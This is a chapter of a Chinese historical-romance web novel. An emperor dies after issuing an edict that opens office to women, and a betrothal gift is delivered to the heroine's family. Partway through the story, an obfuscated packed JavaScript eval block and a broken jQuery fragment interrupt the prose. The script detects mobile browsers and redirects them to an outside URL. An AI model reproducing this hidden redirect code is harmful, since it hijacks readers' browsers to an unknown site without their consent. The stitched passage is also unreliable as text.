115. 第115章 聘礼

作品:《她靠画图拯救苍生

    楚问书没有回答问题,只让李温等着柔嘉公主回来,说自己是被柔嘉公主叫进来将人搬到床上的。


    李温焦心昌平帝病情,见楚问书不知也没有多问,只走到一旁赶忙开药,其中有几味名贵的药材需要柔嘉公主与楚问书即刻去取。


    柔嘉公主得知此事,二人马不停蹄的一路冲到太医院,守着皇宫门禁的官吏正站着打瞌睡,被楚问书一巴掌扇的头晕目眩,瞬间从周公那里赶回来。


    “楚大人,这么晚进宫有何要事?”小吏看着楚问书一脸谄媚。


    楚问书眉头一横,直拎着小吏的衣领将他提了起来:“本官还需要像你禀告?”


    “没有的事儿,例行问问罢了。”


    柔嘉公主从马上下来,走到二人跟前:“若是本宫要进宫呢?”


    那小吏一看柔嘉公主也在,更是话都不敢说了,只好生恭维了一番,迅速将二人放了进去。


    二人进了宫便不方便策马,只能一路跑过去,炎炎夏日,哪怕是夜里也不算凉爽,拂面的风带来的清凉远远追不上累出的热。


    到达太医院时,已经是大汗淋漓,甚至来不及歇口气,楚问书掏出怀里的药方让值班的太医赶紧抓药,太医直到柔嘉公主点头后才开始动手。


    自从楚问书与赵柔嘉成亲,楚问书处处似乎都变得不一样了,不论做任何事情旁人都更在意柔嘉公主的感受,而忽略掉楚问书本身就是一位极为优秀的人,而楚问书自认身份配不上赵柔嘉起初一直躲避这段感情。


    但柔嘉公主知晓楚问书的处境,平日里也没有公主的架子,仿佛幼时一同玩闹,在外也给足了楚问书面子,但耐不住旁人的刻板印象依旧是以为楚问书是靠着赵柔嘉的公主身份吃着软饭。


    太医将药抓好后,交给二人,柔嘉公主特意交代莫要像任何人说自己今日来过。


    柔嘉公主再次回到昌平帝的寝殿时,昌平帝已经缓过气来悠悠转醒,李温刺入他身体的银针尚且没有取出,昌平帝看着一路奔波而来的二人,心头动容,他习惯为人遮风挡雨,将这个小女儿一直当做孩子,就是这孩子在短短时间一路为他取得救命的药材。


    李温接过药材,打开一看又将每种药材捡出一样放在鼻尖轻嗅:“陛下,这药有些猛,您确定要按照计划使用么?”


    众人在房间内喘气都不敢大声,只等着昌平帝的回复,虚弱又绵长的声音在房间内吐出格外清晰的二字。


    “用吧。”


    “臣领旨。”李温郑重的跪下,说罢即刻转身前去熬药。


    李温的药,说有效也有效,到底脉象平稳下来了,但人却一直没有清醒。


    把脉却像是睡着了一般,他想了许久没有想明白,昌平帝就这样睡了整整一日一夜,直到次日上午才醒来。


    醒来的第一件事确是让人将赵泽安找来。


    赵泽安刚刚下朝准备回御书房查看奏折,就发现楚问书在门口一直等着他。


    楚问书告知昌平帝想见他,赵泽安甚至来不及更换常服便跟着楚问书走了。


    赵泽安到的时候,昌平帝精神看起来还不错,昌平帝将所有人都支了出去,只在房间内留下自己与赵泽安二人。他将自己前夜写好的圣旨交给赵泽安,让赵泽安带回去将印玺盖上。


    又讲了些赵泽安与柔嘉公主幼时的事情,赵泽安回忆被勾起。


    “泽安啊,我对不起你与柔嘉,在你们幼时,我疏于陪伴,我这一生,不愧与天地万民,对不住的只有你们两个。”


    昌平帝的声音越来越小,赵泽安的心随着越来越小的声音逐渐颤抖起来,泪从眼眶里夺门而出:“父皇夙兴夜寐数十年,何谈对不住谁,天下万民皆在父皇心头担着,儿臣也不过是万民之一。”


    “莫要哭,今儿找你来,就是想最后……陪着你……”昌平帝说罢便晕了过去,只留下赵泽安惊慌失措的声音。


    “来人啊”


    “找太医!”


    行宫一串忙碌着,众人脚不停歇,上上下下的蹿着,到底身子亏的太狠,而在昌平帝的坚持下又用了不少猛药,只为了见赵泽安最后一面,抢救了一日一夜最终还是驾鹤西去。


    昌平四十四年,昌平帝临政四十四年驾崩。


    赵泽安顺势登上皇位,国号江和。


    江和元年,颁布了一道圣旨,乃是昌平帝于昌平四十四年七月所立。


    “凡入仕者,不以出身论,不以性别择,当选贤与才,故即日起,不论男女皆可入仕,但求造福一方。”


    赵泽安将圣旨昭告天下时,于朝堂之上激其千层浪,众说纷纭,最终又因“遗诏”二字强行压下,为人臣民自然不可置君主于不忠不孝不仁不义之地步。


    有了昌平帝的圣旨,赵泽安顺利成章地将姜樾调到了户部,姜樾不想打两份工,本想着拒绝,结果谁知赵泽安竟然让她不必日日都去,去将那表格的做法教会众人即可,若有不会的再单独指导,按次数给俸禄。


    姜樾:……兼职……那好吧。


    姜樾扶额,表格只有在电脑上处理才是最快捷的,用纸质实际上也只能图个看的清晰明了罢了,不过既然老大说了,照做就是,左右给钱,拿多少钱办多少事情。


    为了方便姜樾进出,姚崇正给了块儿户部的腰牌,省的每次都要通传,姜樾也深知有些事情并不是她能搅和进去的,知道的越多,死的越快,尤其是古人这种弯弯绕绕她玩不明白,于是只有有人传召的时候才会收拾了东西过去。


    姚崇正让户部各司跟着姜樾一同做些统计的事情,独独度支司不一样让副手重新清算,因为度支司的员外郎是姚渊,他要避嫌。


    所有的卷宗重新整理,户部四司忙了起来,整个户部一片愁云惨淡,凝重的氛围直冲刑部大牢的压抑。


    每次姜樾去找礼部找张明贤时,路过户部,都忍不住叹气,领导一句话,下面跑断腿,不过好在古代不兴加班,到了夜里光线暗淡,也不适合整理卷宗,所以虽然忙到也没有996那样夸张。


    自从年初到此刻,张家只请了媒人向姜家提亲,原本三个月能走完整个大婚的流程,却止步于纳吉一步,因着二人实在是太忙了,上半年张明贤没空,接着姜樾又没空,于是拖到了九月,张恪急了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958822|165486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你们这是要将年初的事儿拖到年底,这亲事儿到底结不结?”张恪先是指了指张先济,又指着冯蔷,最后轮到张明贤,“还有你,张昧,你自己媳妇你是半点不急?”


    众人被教训的是一声不吭,这也没上姜家说明情况,一直又没动静,叫人家女方如何想?不知礼数?


    被张恪训斥了一顿,当日夜里三人凑在一起,决定明日就继续走下一步,三书六礼的流程,一步也不能少,还得给人赔礼去。


    张明贤拎着大包小包的礼品规规矩矩跟在冯蔷身后,到了这种时候他竟然感觉比当年殿试时还要紧张,一大早就到了姜樾家门口。


    姚华年原本正瞅着两个小孩的婚事,姜樾作为长姐还未成亲,姜成颂这个做弟弟的也不方便,但姜成颂与宋秦若是要成亲却容易许多,宋秦无父无母,已经商量好从隔壁子女早夭的沈大娘家出嫁,也不算乱了规矩,届时说是沈大娘的养女即可。


    “咦,冯夫人来了,快快请进。”姚华年打开大门,看到冯蔷与姜樾。


    冯蔷进门让张明贤将礼物放下,直接切入今日主题,虽然冯蔷平日里瞅着甚是洒脱,但到了规矩的时刻是一点也不马虎:“实在是抱歉,我们家这臭小子,上半年实在是忙的抽不开身,原本两月前也该来了,奈何阿樾做了小林院的先生又在户部周旋,贤儿便让先莫要急,省的累着阿樾。”


    姚华年是听出这话歪到意思了,但还是问着:“所以今日冯夫人是来谈正事的?”


    “岂止是正事,是好事,是终身大事。”冯蔷笑着拉过姚华年的手,从袖子中摸出提前准备好的聘礼和礼单,“这是我们下聘的礼单和礼金,稍后臭小子他爹就送来,还请姚夫人莫要怪罪我们愆期的失礼。”


    姚华年打开礼单折子一看从布匹到金银、茶饼、肉酒以及一些屋中陈设皆有。


    姚华年掂量了一番,属实是厚礼了,但就礼尚往来而言,倒是显得自家有些拮据:“冯夫人,这也太贵重了。”


    冯蔷却笑了:“左右不过是身外之物,阿樾值当的,当年若非阿樾资质,这臭小子不知要抄上多少卷数才能凑得齐给人发工钱。”


    张明贤听此,瞬间耳根子都红了,当年囧状竟然就这样堂而皇之的被揭出来,他扯了扯冯蔷的袖子,想让冯蔷莫要再说了,谁知冯蔷只随意的扫了他一眼:“当年敢收人家小姑娘的钱,今儿个到是没有承认的勇气了?”


    姚华年自是不知晓这遭,只看着姜樾在一旁捂嘴憋笑,发觉姚华年在看她,点了点头,承认了此事,也让姚华年收下了聘礼。


    姚华年没想到张家的聘礼如此丰厚,到显得姜樾的嫁妆单薄,但事已至此,也只能先将就着给了出去。


    交换了聘礼实际上这婚事基本就已经成了,只差一个婚礼的形式罢了。


    姜樾看着张明贤嘴角压不下去的笑,走到他的身旁,用肩膀顶了他一下:“你就这样开心?”


    “有妻如此,夫复何求?自然是开心的。”说罢张明贤搂住姜樾低头吻上姜樾的唇瓣。


    自打上次姜樾亲他反被他亲,他好像有点爱上了这个感觉。